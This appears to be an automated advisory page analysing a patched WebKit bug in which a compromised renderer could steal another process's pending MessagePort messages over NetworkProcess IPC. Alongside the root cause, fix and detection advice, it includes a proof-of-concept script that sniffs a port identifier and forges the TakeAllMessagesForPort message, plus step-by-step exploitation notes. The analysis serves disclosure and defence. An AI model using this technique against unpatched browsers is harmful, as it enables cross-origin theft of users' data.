← WebKit Silent-Fix Report — 2026-W23

da44cdb89cd768f800e38ca1f675b723b70bb575  Compromised web content process unauthorized access to pending MessagePort messages

severity medium class CrossOrigin confidence 0.90 WebKit NetworkProcess MessagePort exploitable-grade
Brady Eidson Wed Jun 3 14:23:43 2026 -0700 full: da44cdb89cd768f800e38ca1f675b723b70bb575 view on GitHub ↗
Primitive: Compromised WebContent process can take pending MessagePort messages for unentangled ports
Triage note: takeAllMessagesForPort had no ownership check; fix adds MESSAGE_CHECK_COMPLETION(m_processEntangledPorts.contains(port)) so a process can only drain ports entangled to it, blocking cross-context message theft by a compromised renderer.
Contents

The bug at a glance

Exploitation requires an already-compromised WebContent process that can synthesize arbitrary IPC (the test enables IPC_TESTING_API to stand in for that capability), so it is a post-compromise primitive, not a remote-from-nothing bug. Given that precondition, it lets one renderer drain pending MessagePort messages entangled to a different, cross-origin renderer, an information disclosure that crosses the site-isolation boundary the NetworkProcess is supposed to enforce. That combination of a meaningful confidentiality breach gated behind prior compromise justifies the High-to-Medium downgrade to CVSS 6.5.

MessagePorts that move between processes are brokered by the NetworkProcess, which queues in-flight messages until the receiving port activates. A renderer fetches those queued messages by sending TakeAllMessagesForPort with a MessagePortIdentifier — but the NetworkProcess never checked that the requesting process actually owned that port. Since the identifier is just a {processID, portID} pair that a compromised renderer can guess or lift straight off the wire via IPC introspection, any renderer could drain another renderer’s pending messages. The one-line fix adds MESSAGE_CHECK_COMPLETION(m_processEntangledPorts.contains(port)), returning an empty batch for ports not entangled to the caller.

Root cause

The vulnerable code is NetworkConnectionToWebProcess::takeAllMessagesForPort(port, callback) in the NetworkProcess. Each NetworkConnectionToWebProcess represents one WebContent process’s channel to the NetworkProcess, and it tracks which ports belong to that process in m_processEntangledPorts. The handler, however, forwarded the request straight to m_networkProcess->messagePortChannelRegistry()->takeAllMessagesForPort(port, ...) without consulting m_processEntangledPorts at all.

The reaching path: MessagePorts are transferable, so when a port is passed to a page running in a different process (e.g. handed off through a SharedWorker), the NetworkProcess becomes the intermediary and buffers messages destined for the port until the new owner activates it. A WebContent process retrieves those buffered messages by sending the NetworkConnectionToWebProcess_TakeAllMessagesForPort IPC with the target MessagePortIdentifier. That identifier is a {ProcessIdentifier, PortIdentifier} tuple — values a compromised renderer can brute-force or, as the test shows, scrape from an outgoing CreateNewMessagePortChannel message via the IPC testing API.

Why it is unsafe: the registry keys messages purely by port identifier and trusts the connection to only ask for its own ports. With no ownership check, a malicious NetworkConnectionToWebProcess can name any port in the system and the registry hands back — and clears — all its pending MessageWithMessagePorts. That is a cross-process, cross-origin read of messages the caller was never entangled with, and it also destroys them for the legitimate recipient.

The fix inserts MESSAGE_CHECK_COMPLETION(m_processEntangledPorts.contains(port), callback({ }, std::nullopt)); at the top of the handler. m_processEntangledPorts is the authoritative set of ports entangled to this specific connection, so if the requested port is not in it the check fires, invokes the completion handler with an empty message vector and no batch identifier, and never touches the registry. A well-behaved renderer only ever asks for its own entangled ports, so the check is transparent to legitimate use.

Key code

Ownership check gating message retrieval on port entanglement to the calling process

void NetworkConnectionToWebProcess::takeAllMessagesForPort(const MessagePortIdentifier& port, CompletionHandler<void(Vector<MessageWithMessagePorts>&&, std::optional<MessageBatchIdentifier>)>&& callback)
{
    // A WebContent process may only receive messages for ports entangled to it.
    MESSAGE_CHECK_COMPLETION(m_processEntangledPorts.contains(port), callback({ }, std::nullopt));

    protect(m_networkProcess->messagePortChannelRegistry())->takeAllMessagesForPort(port, [this, protectedThis = Ref { *this }, callback = WTF::move(callback)](Vector<MessageWithMessagePorts>&& messages, CompletionHandler<void()>&& deliveryCallback) mutable {
        callback(WTF::move(messages), nextMessageBatchIdentifier(WTF::move(deliveryCallback)));
    });
}

Patch walkthrough

  • Source/WebKit/NetworkProcess/NetworkConnectionToWebProcess.cpp — Adds MESSAGE_CHECK_COMPLETION(m_processEntangledPorts.contains(port), callback({ }, std::nullopt)); as the first statement of takeAllMessagesForPort. This gates access on the port being entangled to the calling connection; the completion-handler variant of MESSAGE_CHECK is used because the IPC has an async reply, so instead of tearing the message down it satisfies the reply with an empty result. The subsequent forward to messagePortChannelRegistry()->takeAllMessagesForPort now only runs for ports the process actually owns.
  • Tools/TestWebKitAPI/Resources/cocoa/MessagePortSecurity.mm — New API test MessagePortSecurity.CrossProcessMessageTheftViaTakeAllMessagesForPort. It wires up a sender view, a SharedWorker holding a transferred port, and a receiver view in a separate process so the port becomes remote and its messages queue in the NetworkProcess. It then uses the IPC testing API to capture the port’s {processId, portId} from a CreateNewMessagePortChannel message and, from a third attacker view, hand-crafts a TakeAllMessagesForPort IPC for that identifier, asserting the reply count is stolen:0 rather than stolen:3.
  • Tools/TestWebKitAPI build files (SourcesCocoa.txt, project.pbxproj, generate-unified-sources.sh, UnifiedSources-output.xcfilelist) — Registers the new non-ARC test source into the unified build: bumps UnifiedSourceNonARCMmFileCount from 51 to 52, adds Resources/cocoa/MessagePortSecurity.mm @nonARC, and threads UnifiedSource52-nonARC.mm through the Xcode project and file lists. No product-code impact.

Background

MessagePort / MessageChannel — A pair of entangled ports for structured-clone messaging. Ports are transferable across contexts and processes; when the two ends live in different WebContent processes the NetworkProcess relays messages between them.

MessagePortIdentifier — A {ProcessIdentifier, PortIdentifier} tuple naming a specific port. It is not a capability — knowing the value is enough to reference the port over IPC, which is why an ownership check on the connection is required.

m_processEntangledPorts — Per-connection set on NetworkConnectionToWebProcess recording the ports entangled to that WebContent process. It is the authoritative source of truth the new MESSAGE_CHECK consults.

MESSAGE_CHECK_COMPLETION — WebKit IPC-hardening macro: if the condition is false it runs the supplied completion expression (here an empty reply) and returns without executing the handler body, rather than the plain MESSAGE_CHECK which kills the connection — appropriate for an async-reply message.

Vulnerability window

  1. Design gaptakeAllMessagesForPort forwarded any requested MessagePortIdentifier to the channel registry without verifying it against the calling connection’s m_processEntangledPorts.
  2. Attack surface — MessagePort identifiers are transmitted over IPC and are guessable/observable, so a compromised renderer could name a port entangled to a different, cross-origin process.
  3. Report — Filed as rdar://172706670 — a compromised web content process gaining unauthorized access to another process’s pending MessagePort messages.
  4. Fix — Brady Eidson added the MESSAGE_CHECK_COMPLETION(m_processEntangledPorts.contains(port), ...) guard returning an empty batch, plus the MessagePortSecurity API test reproducing the theft attempt.
  5. Ship — Landed as 314495@main; branch-landed as 305413.547 on safari-7624 (rdar://176062008).

Proof of concept

This is a faithful reconstruction of the shipped API test. It is not a from-scratch renderer exploit: it relies on the IPC testing API to stand in for a compromised WebContent process’s ability to send arbitrary NetworkProcess IPC. The confirmation oracle is the alert count — 3 stolen messages before the fix, 0 after, since the MESSAGE_CHECK returns an empty vector for a port not in m_processEntangledPorts.

// Reconstructed from MessagePortSecurity.mm (requires IPC_TESTING_API,
// i.e. an attacker that can already forge NetworkProcess IPC).
// 1) In the sender page, sniff the transferred port's identifier off the wire:
var port2ProcessId, port2PortId;
IPC.addOutgoingMessageListener('Networking', function(msg) {
  if (msg.description.indexOf('CreateNewMessagePortChannel') !== -1 && !port2ProcessId) {
    var dv = new DataView(msg.arguments[1]); // ArrayBuffer
    port2ProcessId = dv.getBigUint64(0, true);
    port2PortId    = dv.getBigUint64(8, true);
  }
});
var channel = new MessageChannel();
var worker = new SharedWorker('/worker.js');
worker.port.postMessage('store-port', [channel.port2]); // move port2 out of process
// ...later, queue secret messages that buffer in the NetworkProcess:
channel.port1.postMessage('secret-message-1');

// 2) From an unrelated attacker page, forge TakeAllMessagesForPort for that id:
var net = IPC.connectionForProcessTarget('Networking');
var portId = [{type:'uint64_t', value: BigInt(port2ProcessId)},
              {type:'uint64_t', value: BigInt(port2PortId)}];
net.sendWithAsyncReply(0,
  IPC.messages.NetworkConnectionToWebProcess_TakeAllMessagesForPort.name,
  [portId],
  function(reply) {
    var dv = new DataView(reply.arguments[0]);
    alert('stolen:' + Number(dv.getBigUint64(0, true)));
  });
// Pre-fix: 'stolen:3' (messages drained). Post-fix: 'stolen:0' (empty result).

Exploitation

  1. Precondition: renderer compromise — The attacker must already be able to emit arbitrary IPC from a WebContent process (memory-corruption foothold, or the IPC testing API in the test). This is a sandbox-relative escalation primitive, not a drive-by.
  2. Obtain a target port identifier — Recover a victim port’s {processId, portId} — by observing CreateNewMessagePortChannel IPC (as the test does) or by brute-forcing the identifier space — for a port entangled to a different, cross-origin process.
  3. Drain the messages — Send TakeAllMessagesForPort for that identifier. Pre-fix the NetworkProcess returns and clears all buffered MessageWithMessagePorts, disclosing their structured-clone payloads to the attacker and denying them to the intended recipient.

Detection & hunting

For defenders and SOC / detection engineers:

  • TakeAllMessagesForPort for non-owned ports
  • Unexpected empty-message deliveries
  • IPC-testing-API in production configs

Audit directions

  • Other MessagePort channel-registry IPCs
  • Identifier-as-capability patterns
  • MESSAGE_CHECK vs MESSAGE_CHECK_COMPLETION usage

Before / after

Loading diff…